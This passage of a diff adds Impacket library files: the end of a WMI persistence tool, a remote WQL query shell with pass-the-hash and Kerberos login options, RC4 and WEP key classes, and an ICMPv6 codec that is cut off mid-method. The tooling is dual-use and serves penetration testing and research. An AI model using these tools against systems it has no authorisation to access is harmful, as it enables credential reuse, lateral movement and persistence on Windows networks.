if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
executer = WMIPERSISTENCE(username, password, domain, options)
|
||||
executer.run(address)
|
||||
except (Exception, KeyboardInterrupt), e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
logging.error(e)
|
||||
sys.exit(0)
|
||||
@@ -0,0 +1,208 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description: [MS-WMI] example. It allows to issue WQL queries and
|
||||
# get description of the objects.
|
||||
#
|
||||
# e.g.: select name from win32_account
|
||||
# e.g.: describe win32_process
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# DCOM
|
||||
#
|
||||
import argparse
|
||||
import sys
|
||||
import os
|
||||
import logging
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_NONE
|
||||
|
||||
if __name__ == '__main__':
|
||||
import cmd
|
||||
|
||||
class WMIQUERY(cmd.Cmd):
|
||||
def __init__(self, iWbemServices):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.iWbemServices = iWbemServices
|
||||
self.prompt = 'WQL> '
|
||||
self.intro = '[!] Press help for extra shell commands'
|
||||
|
||||
def do_help(self, line):
|
||||
print """
|
||||
lcd {path} - changes the current local directory to {path}
|
||||
exit - terminates the server process (and this session)
|
||||
describe {class} - describes class
|
||||
! {cmd} - executes a local shell cmd
|
||||
"""
|
||||
|
||||
def do_shell(self, s):
|
||||
os.system(s)
|
||||
|
||||
def do_describe(self, sClass):
|
||||
sClass = sClass.strip('\n')
|
||||
if sClass[-1:] == ';':
|
||||
sClass = sClass[:-1]
|
||||
try:
|
||||
iObject, _ = self.iWbemServices.GetObject(sClass)
|
||||
iObject.printInformation()
|
||||
iObject.RemRelease()
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
logging.error(str(e))
|
||||
|
||||
def do_lcd(self, s):
|
||||
if s == '':
|
||||
print os.getcwd()
|
||||
else:
|
||||
os.chdir(s)
|
||||
|
||||
def printReply(self, iEnum):
|
||||
printHeader = True
|
||||
while True:
|
||||
try:
|
||||
pEnum = iEnum.Next(0xffffffff,1)[0]
|
||||
record = pEnum.getProperties()
|
||||
if printHeader is True:
|
||||
print '|',
|
||||
for col in record:
|
||||
print '%s |' % col,
|
||||
print
|
||||
printHeader = False
|
||||
print '|',
|
||||
for key in record:
|
||||
print '%s |' % record[key]['value'],
|
||||
print
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
if str(e).find('S_FALSE') < 0:
|
||||
raise
|
||||
else:
|
||||
break
|
||||
iEnum.RemRelease()
|
||||
|
||||
def default(self, line):
|
||||
line = line.strip('\n')
|
||||
if line[-1:] == ';':
|
||||
line = line[:-1]
|
||||
try:
|
||||
iEnumWbemClassObject = self.iWbemServices.ExecQuery(line.strip('\n'))
|
||||
self.printReply(iEnumWbemClassObject)
|
||||
iEnumWbemClassObject.RemRelease()
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
|
||||
def emptyline(self):
|
||||
pass
|
||||
|
||||
def do_exit(self, line):
|
||||
return True
|
||||
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Executes WQL queries and gets object descriptions "
|
||||
"using Windows Management Instrumentation.")
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('-namespace', action='store', default='//./root/cimv2', help='namespace name (default //./root/cimv2)')
|
||||
parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the WQL shell')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
|
||||
'ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
|
||||
'ommited it use the domain part (FQDN) specified in the target parameter')
|
||||
group.add_argument('-rpc-auth-level', choices=['integrity', 'privacy','default'], nargs='?', default='default',
|
||||
help='default, integrity (RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) or privacy '
|
||||
'(RPC_C_AUTHN_LEVEL_PKT_PRIVACY). For example CIM path "root/MSCluster" would require '
|
||||
'privacy level by default)')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
|
||||
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in address:
|
||||
password = password + '@' + address.rpartition('@')[0]
|
||||
address = address.rpartition('@')[2]
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
if options.hashes is not None:
|
||||
lmhash, nthash = options.hashes.split(':')
|
||||
else:
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
|
||||
try:
|
||||
dcom = DCOMConnection(address, username, password, domain, lmhash, nthash, options.aesKey, oxidResolver=True,
|
||||
doKerberos=options.k, kdcHost=options.dc_ip)
|
||||
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
iWbemServices= iWbemLevel1Login.NTLMLogin(options.namespace, NULL, NULL)
|
||||
if options.rpc_auth_level == 'privacy':
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
elif options.rpc_auth_level == 'integrity':
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
|
||||
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
shell = WMIQUERY(iWbemServices)
|
||||
if options.file is None:
|
||||
shell.cmdloop()
|
||||
else:
|
||||
for line in options.file.readlines():
|
||||
print "WQL> %s" % line,
|
||||
shell.onecmd(line)
|
||||
|
||||
iWbemServices.RemRelease()
|
||||
dcom.disconnect()
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
try:
|
||||
dcom.disconnect()
|
||||
except:
|
||||
pass
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description:
|
||||
# IEEE 802.11 Network packet codecs.
|
||||
#
|
||||
# Author:
|
||||
# Gustavo Moreira
|
||||
|
||||
class RC4():
|
||||
def __init__(self, key):
|
||||
j = 0
|
||||
self.state = range(256)
|
||||
for i in range(256):
|
||||
j = (j + self.state[i] + ord(key[i % len(key)])) & 0xff
|
||||
self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j)
|
||||
|
||||
def encrypt(self, data):
|
||||
i = j = 0
|
||||
out=''
|
||||
for char in data:
|
||||
i = (i+1) & 0xff
|
||||
j = (j+self.state[i]) & 0xff
|
||||
self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j)
|
||||
out+=chr(ord(char) ^ self.state[(self.state[i] + self.state[j]) & 0xff])
|
||||
|
||||
return out
|
||||
|
||||
def decrypt(self, data):
|
||||
# It's symmetric
|
||||
return self.encrypt(data)
|
||||
@@ -0,0 +1,54 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description:
|
||||
# IEEE 802.11 Network packet codecs.
|
||||
#
|
||||
# Author:
|
||||
# Gustavo Moreira
|
||||
|
||||
from array import array
|
||||
class KeyManager:
|
||||
def __init__(self):
|
||||
self.keys = {}
|
||||
|
||||
def __get_bssid_hasheable_type(self, bssid):
|
||||
# List is an unhashable type
|
||||
if not isinstance(bssid, (list,tuple,array)):
|
||||
raise Exception('BSSID datatype must be a tuple, list or array')
|
||||
return tuple(bssid)
|
||||
|
||||
def add_key(self, bssid, key):
|
||||
bssid=self.__get_bssid_hasheable_type(bssid)
|
||||
if not bssid in self.keys:
|
||||
self.keys[bssid] = key
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def replace_key(self, bssid, key):
|
||||
bssid=self.__get_bssid_hasheable_type(bssid)
|
||||
self.keys[bssid] = key
|
||||
|
||||
return True
|
||||
|
||||
def get_key(self, bssid):
|
||||
bssid=self.__get_bssid_hasheable_type(bssid)
|
||||
if self.keys.has_key(bssid):
|
||||
return self.keys[bssid]
|
||||
else:
|
||||
return False
|
||||
|
||||
def delete_key(self, bssid):
|
||||
bssid=self.__get_bssid_hasheable_type(bssid)
|
||||
if not isinstance(bssid, list):
|
||||
raise Exception('BSSID datatype must be a list')
|
||||
|
||||
if self.keys.has_key(bssid):
|
||||
del self.keys[bssid]
|
||||
return True
|
||||
|
||||
return False
|
||||
@@ -0,0 +1,527 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
|
||||
import array
|
||||
import struct
|
||||
|
||||
from ImpactPacket import Header, Data
|
||||
from IP6_Address import IP6_Address
|
||||
|
||||
|
||||
class ICMP6(Header):
|
||||
#IP Protocol number for ICMP6
|
||||
IP_PROTOCOL_NUMBER = 58
|
||||
protocol = IP_PROTOCOL_NUMBER #ImpactDecoder uses the constant "protocol" as the IP Protocol Number
|
||||
|
||||
#Size of ICMP6 header (excluding payload)
|
||||
HEADER_SIZE = 4
|
||||
|
||||
#ICMP6 Message Type numbers
|
||||
DESTINATION_UNREACHABLE = 1
|
||||
PACKET_TOO_BIG = 2
|
||||
TIME_EXCEEDED = 3
|
||||
PARAMETER_PROBLEM = 4
|
||||
ECHO_REQUEST = 128
|
||||
ECHO_REPLY = 129
|
||||
ROUTER_SOLICITATION = 133
|
||||
ROUTER_ADVERTISEMENT = 134
|
||||
NEIGHBOR_SOLICITATION = 135
|
||||
NEIGHBOR_ADVERTISEMENT = 136
|
||||
REDIRECT_MESSAGE = 137
|
||||
NODE_INFORMATION_QUERY = 139
|
||||
NODE_INFORMATION_REPLY = 140
|
||||
|
||||
#Destination Unreachable codes
|
||||
NO_ROUTE_TO_DESTINATION = 0
|
||||
ADMINISTRATIVELY_PROHIBITED = 1
|
||||
BEYOND_SCOPE_OF_SOURCE_ADDRESS = 2
|
||||
ADDRESS_UNREACHABLE = 3
|
||||
PORT_UNREACHABLE = 4
|
||||
SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY = 5
|
||||
REJECT_ROUTE_TO_DESTINATION = 6
|
||||
|
||||
#Time Exceeded codes
|
||||
HOP_LIMIT_EXCEEDED_IN_TRANSIT = 0
|
||||
FRAGMENT_REASSEMBLY_TIME_EXCEEDED = 1
|
||||
|
||||
#Parameter problem codes
|
||||
ERRONEOUS_HEADER_FIELD_ENCOUNTERED = 0
|
||||
UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED = 1
|
||||
UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED = 2
|
||||
|
||||
#Node Information codes
|
||||
NODE_INFORMATION_QUERY_IPV6 = 0
|
||||
NODE_INFORMATION_QUERY_NAME_OR_EMPTY = 1
|
||||
NODE_INFORMATION_QUERY_IPV4 = 2
|
||||
NODE_INFORMATION_REPLY_SUCCESS = 0
|
||||
NODE_INFORMATION_REPLY_REFUSED = 1
|
||||
NODE_INFORMATION_REPLY_UNKNOWN_QTYPE = 2
|
||||
|
||||
#Node Information qtypes
|
||||
NODE_INFORMATION_QTYPE_NOOP = 0
|
||||
NODE_INFORMATION_QTYPE_UNUSED = 1
|
||||
NODE_INFORMATION_QTYPE_NODENAME = 2
|
||||
NODE_INFORMATION_QTYPE_NODEADDRS = 3
|
||||
NODE_INFORMATION_QTYPE_IPv4ADDRS = 4
|
||||
|
||||
#ICMP Message semantic types (error or informational)
|
||||
ERROR_MESSAGE = 0
|
||||
INFORMATIONAL_MESSAGE = 1
|
||||
|
||||
#ICMP message dictionary - specifying text descriptions and valid message codes
|
||||
#Key: ICMP message number
|
||||
#Data: Tuple ( Message Type (error/informational), Text description, Codes dictionary (can be None) )
|
||||
#Codes dictionary
|
||||
#Key: Code number
|
||||
#Data: Text description
|
||||
|
||||
#ICMP message dictionary tuple indexes
|
||||
MSG_TYPE_INDEX = 0
|
||||
DESCRIPTION_INDEX = 1
|
||||
CODES_INDEX = 2
|
||||
|
||||
icmp_messages = {
|
||||
DESTINATION_UNREACHABLE : (ERROR_MESSAGE, "Destination unreachable",
|
||||
{ NO_ROUTE_TO_DESTINATION : "No route to destination",
|
||||
ADMINISTRATIVELY_PROHIBITED : "Administratively prohibited",
|
||||
BEYOND_SCOPE_OF_SOURCE_ADDRESS : "Beyond scope of source address",
|
||||
ADDRESS_UNREACHABLE : "Address unreachable",
|
||||
PORT_UNREACHABLE : "Port unreachable",
|
||||
SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY : "Source address failed ingress/egress policy",
|
||||
REJECT_ROUTE_TO_DESTINATION : "Reject route to destination"
|
||||
}),
|
||||
PACKET_TOO_BIG : (ERROR_MESSAGE, "Packet too big", None),
|
||||
TIME_EXCEEDED : (ERROR_MESSAGE, "Time exceeded",
|
||||
{HOP_LIMIT_EXCEEDED_IN_TRANSIT : "Hop limit exceeded in transit",
|
||||
FRAGMENT_REASSEMBLY_TIME_EXCEEDED : "Fragment reassembly time exceeded"
|
||||
}),
|
||||
PARAMETER_PROBLEM : (ERROR_MESSAGE, "Parameter problem",
|
||||
{
|
||||
ERRONEOUS_HEADER_FIELD_ENCOUNTERED : "Erroneous header field encountered",
|
||||
UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED : "Unrecognized Next Header type encountered",
|
||||
UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED : "Unrecognized IPv6 Option Encountered"
|
||||
}),
|
||||
ECHO_REQUEST : (INFORMATIONAL_MESSAGE, "Echo request", None),
|
||||
ECHO_REPLY : (INFORMATIONAL_MESSAGE, "Echo reply", None),
|
||||
ROUTER_SOLICITATION : (INFORMATIONAL_MESSAGE, "Router Solicitation", None),
|
||||
ROUTER_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, "Router Advertisement", None),
|
||||
NEIGHBOR_SOLICITATION : (INFORMATIONAL_MESSAGE, "Neighbor Solicitation", None),
|
||||
NEIGHBOR_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, "Neighbor Advertisement", None),
|
||||
REDIRECT_MESSAGE : (INFORMATIONAL_MESSAGE, "Redirect Message", None),
|
||||
NODE_INFORMATION_QUERY: (INFORMATIONAL_MESSAGE, "Node Information Query", None),
|
||||
NODE_INFORMATION_REPLY: (INFORMATIONAL_MESSAGE, "Node Information Reply", None),
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
############################################################################
|
||||
def __init__(self, buffer = None):
|
||||
Header.__init__(self, self.HEADER_SIZE)
|
||||
if (buffer):
|
||||
self.load_header(buffer)
|
||||
|
||||
def get_header_size(self):
|
||||
return self.HEADER_SIZE
|
||||
|
||||
def get_ip_protocol_number(self):
|
||||
return self.IP_PROTOCOL_NUMBER
|
||||
|
||||
def __str__(self):
|
||||
type = self.get_type()
|
||||
code = self.get_code()
|
||||
checksum = self.get_checksum()
|
||||
|
||||
s = "ICMP6 - Type: " + str(type) + " - " + self.__get_message_description() + "\n"
|
||||
s += "Code: " + str(code)
|
||||
if (self.__get_code_description() != ""):
|
||||
s += " - " + self.__get_code_description()
|
||||
s += "\n"
|
||||
s += "Checksum: " + str(checksum) + "\n"
|
||||
return s
|
||||
|
||||
def __get_message_description(self):
|
||||
return self.icmp_messages[self.get_type()][self.DESCRIPTION_INDEX]
|
||||
|
||||
def __get_code_description(self):
|
||||
code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX]
|
||||
if (code_dictionary is None):
|
||||
return ""
|
||||
else:
|
||||
return code_dictionary[self.get_code()]
|
||||
|
||||
############################################################################
|
||||
def get_type(self):
|
||||
return (self.get_byte(0))
|
||||
|
||||
def get_code(self):
|
||||
return (self.get_byte(1))
|
||||
|
||||
def get_checksum(self):
|
||||
return (self.get_word(2))
|
||||
|
||||
############################################################################
|
||||
def set_type(self, type):
|
||||
self.set_byte(0, type)
|
||||
|
||||
def set_code(self, code):
|
||||
self.set_byte(1, code)
|
||||
|
||||
def set_checksum(self, checksum):
|
||||
self.set_word(2, checksum)
|
||||
|
||||
############################################################################
|
||||
def calculate_checksum(self):
|
||||
#Initialize the checksum value to 0 to yield a correct calculation
|
||||
self.set_checksum(0)
|
||||
#Fetch the pseudo header from the IP6 parent packet
|
||||
pseudo_header = self.parent().get_pseudo_header()
|
||||
#Fetch the ICMP data
|
||||
icmp_header = self.get_bytes()
|
||||
#Build an array of bytes concatenating the pseudo_header, the ICMP header and the ICMP data (if present)
|
||||
checksum_array = array.array('B')
|
||||
checksum_array.extend(pseudo_header)
|
||||
checksum_array.extend(icmp_header)
|
||||
if (self.child()):
|
||||
checksum_array.extend(self.child().get_bytes())
|
||||
|
||||
#Compute the checksum over that array
|
||||
self.set_checksum(self.compute_checksum(checksum_array))
|
||||
|
||||
def is_informational_message(self):
|
||||
return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == self.INFORMATIONAL_MESSAGE
|
||||
|
||||
def is_error_message(self):
|
||||
return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == self.ERROR_MESSAGE
|
||||
|
||||
def is_well_formed(self):
|
||||
well_formed = True
|
||||
|
||||
#Check that the message type is known
|
||||
well_formed &= self.get_type() in self.icmp_messages.keys()
|
||||
|
||||
#Check that the code is known (zero, if there are no codes defined)
|
||||
code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX]
|
||||
if (code_dictionary is None):
|
||||
well_formed &= self.get_code() == 0
|
||||
else:
|
||||
well_formed &= self.get_code() in code_dictionary.keys()
|
||||
|
||||
return well_formed
|
||||
|
||||
############################################################################
|
||||
|
||||
@classmethod
|
||||
def Echo_Request(class_object, id, sequence_number, arbitrary_data = None):
|
||||
return class_object.__build_echo_message(ICMP6.ECHO_REQUEST, id, sequence_number, arbitrary_data)
|
||||
|
||||
@classmethod
|
||||
def Echo_Reply(class_object, id, sequence_number, arbitrary_data = None):
|
||||
return class_object.__build_echo_message(ICMP6.ECHO_REPLY, id, sequence_number, arbitrary_data)
|
||||
|
||||
@classmethod
|
||||
def __build_echo_message(class_object, type, id, sequence_number, arbitrary_data):
|
||||
#Build ICMP6 header
|
||||
icmp_packet = ICMP6()
|
||||
icmp_packet.set_type(type)
|
||||
icmp_packet.set_code(0)
|
||||
|
||||
#Pack ICMP payload
|
||||
icmp_bytes = struct.pack('>H', id)
|
||||
icmp_bytes += struct.pack('>H', sequence_number)
|
||||
if (arbitrary_data is not None):
|
||||
icmp_bytes += array.array('B', arbitrary_data).tostring()
|
||||
icmp_payload = Data()
|
||||
icmp_payload.set_data(icmp_bytes)
|
||||
|
||||
#Link payload to header
|
||||
icmp_packet.contains(icmp_payload)
|
||||
|
||||
return icmp_packet
|
||||
|
||||
|
||||
############################################################################
|
||||
@classmethod
|
||||
def Destination_Unreachable(class_object, code, originating_packet_data = None):
|
||||
unused_bytes = [0x00, 0x00, 0x00, 0x00]
|
||||
return class_object.__build_error_message(ICMP6.DESTINATION_UNREACHABLE, code, unused_bytes, originating_packet_data)
|
||||
|
||||
@classmethod
|
||||
def Packet_Too_Big(class_object, MTU, originating_packet_data = None):
|
||||
MTU_bytes = struct.pack('!L', MTU)
|
||||
return class_object.__build_error_message(ICMP6.PACKET_TOO_BIG, 0, MTU_bytes, originating_packet_data)
|
||||
|
||||
@classmethod
|
||||
def Time_Exceeded(class_object, code, originating_packet_data = None):
|
||||
unused_bytes = [0x00, 0x00, 0x00, 0x00]
|
||||
return class_object.__build_error_message(ICMP6.TIME_EXCEEDED, code, unused_bytes, originating_packet_data)
|
||||
|
||||
@classmethod
|
||||
def Parameter_Problem(class_object, code, pointer, originating_packet_data = None):
|
||||
pointer_bytes = struct.pack('!L', pointer)
|
||||
return class_object.__build_error_message(ICMP6.PARAMETER_PROBLEM, code, pointer_bytes, originating_packet_data)
|
||||
|
||||
@classmethod
|
||||
def __build_error_message(class_object, type, code, data, originating_packet_data):
|
||||
#Build ICMP6 header
|
||||
icmp_packet = ICMP6()
|
||||
icmp_packet.set_type(type)
|
||||
icmp_packet.set_code(code)
|
||||
|
||||
#Pack ICMP payload
|
||||
icmp_bytes = array.array('B', data).tostring()
|
||||
if (originating_packet_data is not None):
|
||||
icmp_bytes += array.array('B', originating_packet_data).tostring()
|
||||
icmp_payload = Data()
|
||||
icmp_payload.set_data(icmp_bytes)
|
||||
|
||||
#Link payload to header
|
||||
icmp_packet.contains(icmp_payload)
|
||||
|
||||
return icmp_packet
|
||||
|
||||
############################################################################
|
||||
|
||||
@classmethod
|
||||
def Neighbor_Solicitation(class_object, target_address):
|
||||
return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_SOLICITATION, target_address)
|
||||
|
||||
@classmethod
|
||||
def Neighbor_Advertisement(class_object, target_address):
|
||||
return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_ADVERTISEMENT, target_address)
|
||||
|
||||
@classmethod
|
||||
def __build_neighbor_message(class_object, msg_type, target_address):
|
||||
#Build ICMP6 header
|
||||
icmp_packet = ICMP6()
|
||||
icmp_packet.set_type(msg_type)
|
||||
icmp_packet.set_code(0)
|
||||
|
||||
# Flags + Reserved
|
||||
icmp_bytes = array.array('B', [0x00] * 4).tostring()
|
||||
|
||||
# Target Address: The IP address of the target of the solicitation.
|
||||
# It MUST NOT be a multicast address.
|
||||
icmp_bytes += array.array('B', IP6_Address(target_address).as_bytes()).tostring()
|
||||
|
||||
icmp_payload = Data()
|
||||
icmp_payload.set_data(icmp_bytes)
|
||||
|
||||
#Link payload to header
|
||||
icmp_packet.contains(icmp_payload)
|
||||
|
||||
return icmp_packet
|
||||
|
||||
############################################################################
|
||||
|
||||
def get_target_address(self):
|
||||
return IP6_Address(self.child().get_bytes()[4:20])
|
||||
|
||||
def set_target_address(self, target_address):
|
||||
address = IP6_Address(target_address)
|
||||
payload_bytes = self.child().get_bytes()
|
||||
payload_bytes[4:20] = address.get_bytes()
|
||||
self.child().set_bytes(payload_bytes)
|
||||
|
||||
# 0 1 2 3 4 5 6 7
|
||||
# +-+-+-+-+-+-+-+-+
|
||||
# |R|S|O|reserved |
|
||||
# +-+-+-+-+-+-+-+-+
|
||||
|
||||
def get_neighbor_advertisement_flags(self):
|
||||
return self.child().get_byte(0)
|
||||
|
||||
def set_neighbor_advertisement_flags(self, flags):
|
||||
self.child().set_byte(0, flags)
|
||||
|
||||
def get_router_flag(self):
|
||||
return (self.get_neighbor_advertisement_flags() & 0x80) != 0
|
||||
|
||||
def set_router_flag(self, flag_value):
|
||||
curr_flags = self.get_neighbor_advertisement_flags()
|
||||
if flag_value:
|
||||
curr_flags |= 0x80
|
||||
else:
|
||||
curr_flags &= ~0x80
|
||||
self.set_neighbor_advertisement_flags(curr_flags)
|
||||
|
||||
def get_solicited_flag(self):
|
||||
return (self.get_neighbor_advertisement_flags() & 0x40) != 0
|
||||
|
||||
def set_solicited_flag(self, flag_value):
|
||||
curr_flags = self.get_neighbor_advertisement_flags()
|
||||
if flag_value:
|
||||
curr_flags |= 0x40
|
||||
else:
|
||||
curr_flags &= ~0x40
|
||||
self.set_neighbor_advertisement_flags(curr_flags)
|
||||
|
||||
def get_override_flag(self):
|
||||
return (self.get_neighbor_advertisement_flags() & 0x20) != 0
|
||||
|
||||
def set_override_flag(self, flag_value):
|
||||
curr_flags = self.get_neighbor_advertisement_flags()
|
||||
if flag_value:
|
||||
curr_flags |= 0x20
|
||||
else:
|
||||
curr_flags &= ~0x20
|
||||
self.set_neighbor_advertisement_flags(curr_flags)
|
||||
|
||||
############################################################################
|
||||
@classmethod
|
||||
def Node_Information_Query(class_object, code, payload = None):
|
||||
return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_QUERY, code, payload)
|
||||
|
||||
@classmethod
|
||||
def Node_Information_Reply(class_object, code, payload = None):
|
||||
return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_REPLY, code, payload)
|
||||
|
||||
@classmethod
|
||||
def __build_node_information_message(class_object, type, code, payload = None):
|
||||
#Build ICMP6 header
|
||||
icmp_packet = ICMP6()
|
||||
icmp_packet.set_type(type)
|
||||
icmp_packet.set_code(code)
|
||||
|
||||
#Pack ICMP payload
|
||||
qtype = 0
|
||||
flags = 0
|
||||
nonce = [0x00] * 8
|
||||
|
||||
icmp_bytes = struct.pack('>H', qtype)
|
||||
icmp_bytes += struct.pack('>H', flags)
|
||||
icmp_bytes += array.array('B', nonce).tostring()
|
||||
|
||||
if payload is not None:
|
||||
icmp_bytes += array.array('B', payload).tostring()
|
||||
|
||||
icmp_payload = Data()
|
||||
icmp_payload.set_data(icmp_bytes)
|
||||
|
||||
#Link payload to header
|
||||
icmp_packet.contains(icmp_payload)
|
||||
|
||||
return icmp_packet
|
||||
|
||||
def get_qtype(self):
|
||||
return self.child().get_word(0)
|
||||
|
||||
def set_qtype(self, qtype):
|
||||
self.child().set_word(0, qtype)
|
||||
|
||||
def get_nonce(self):
|
||||
return self.child().get_bytes()[4:12]
|
||||
|
||||
def set_nonce(self, nonce):
|
||||
payload_bytes = self.child().get_bytes()
|
||||
payload_bytes[4:12] = array.array('B', nonce)
|
||||
self.child().set_bytes(payload_bytes)
|
||||
|
||||
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
# | unused |G|S|L|C|A|T|
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
|
||||
def get_flags(self):
|
||||
return self.child().get_word(2)
|
||||
|
||||
def set_flags(self, flags):
|
||||
self.child().set_word(2, flags)
|
||||
|
||||
def get_flag_T(self):
|
||||
return (self.get_flags() & 0x0001) != 0
|
||||
|
||||
def set_flag_T(self, flag_value):
|
||||
curr_flags = self.get_flags()
|
||||
if flag_value:
|
||||
curr_flags |= 0x0001
|
||||
else:
|
||||
curr_flags &= ~0x0001
|
||||
self.set_flags(curr_flags)
|
||||
|
||||
def get_flag_A(self):
|
||||
return (self.get_flags() & 0x0002) != 0
|
||||
|
||||
def set_flag_A(self, flag_value):
|
||||
curr_flags = self.get_flags()
|
||||
if flag_value:
|
||||
curr_flags |= 0x0002
|
||||
else:
|
||||
curr_flags &= ~0x0002
|
||||
self.set_flags(curr_flags)
|
||||
|
||||
def get_flag_C(self):
|
||||
return (self.get_flags() & 0x0004) != 0
|
||||
|
||||
def set_flag_C(self, flag_value):
|
||||
curr_flags = self.get_flags()
|
||||
if flag_value:
|
||||
curr_flags |= 0x0004
|
||||
else:
|
||||
curr_flags &= ~0x0004
|
||||
self.set_flags(curr_flags)
|
||||
|
||||
def get_flag_L(self):
|
||||
return (self.get_flags() & 0x0008) != 0
|
||||
|
||||
def set_flag_L(self, flag_value):
|
||||
curr_flags = self.get_flags()
|
||||
if flag_value:
|
||||
curr_flags |= 0x0008
|
||||
else:
|
||||
curr_flags &= ~0x0008
|
||||
self.set_flags(curr_flags)
|
||||
|
||||
def get_flag_S(self):
|
||||
return (self.get_flags() & 0x0010) != 0
|
||||
|
||||
def set_flag_S(self, flag_value):
|
||||
curr_flags = self.get_flags()
|
||||
if flag_value:
|
||||
curr_flags |= 0x0010
|
||||
else:
|
||||
curr_flags &= ~0x0010
|
||||
self.set_flags(curr_flags)
|
||||
|
||||
def get_flag_G(self):
|
||||
return (self.get_flags() & 0x0020) != 0
|
||||
|
||||
def set_flag_G(self, flag_value):
|
||||
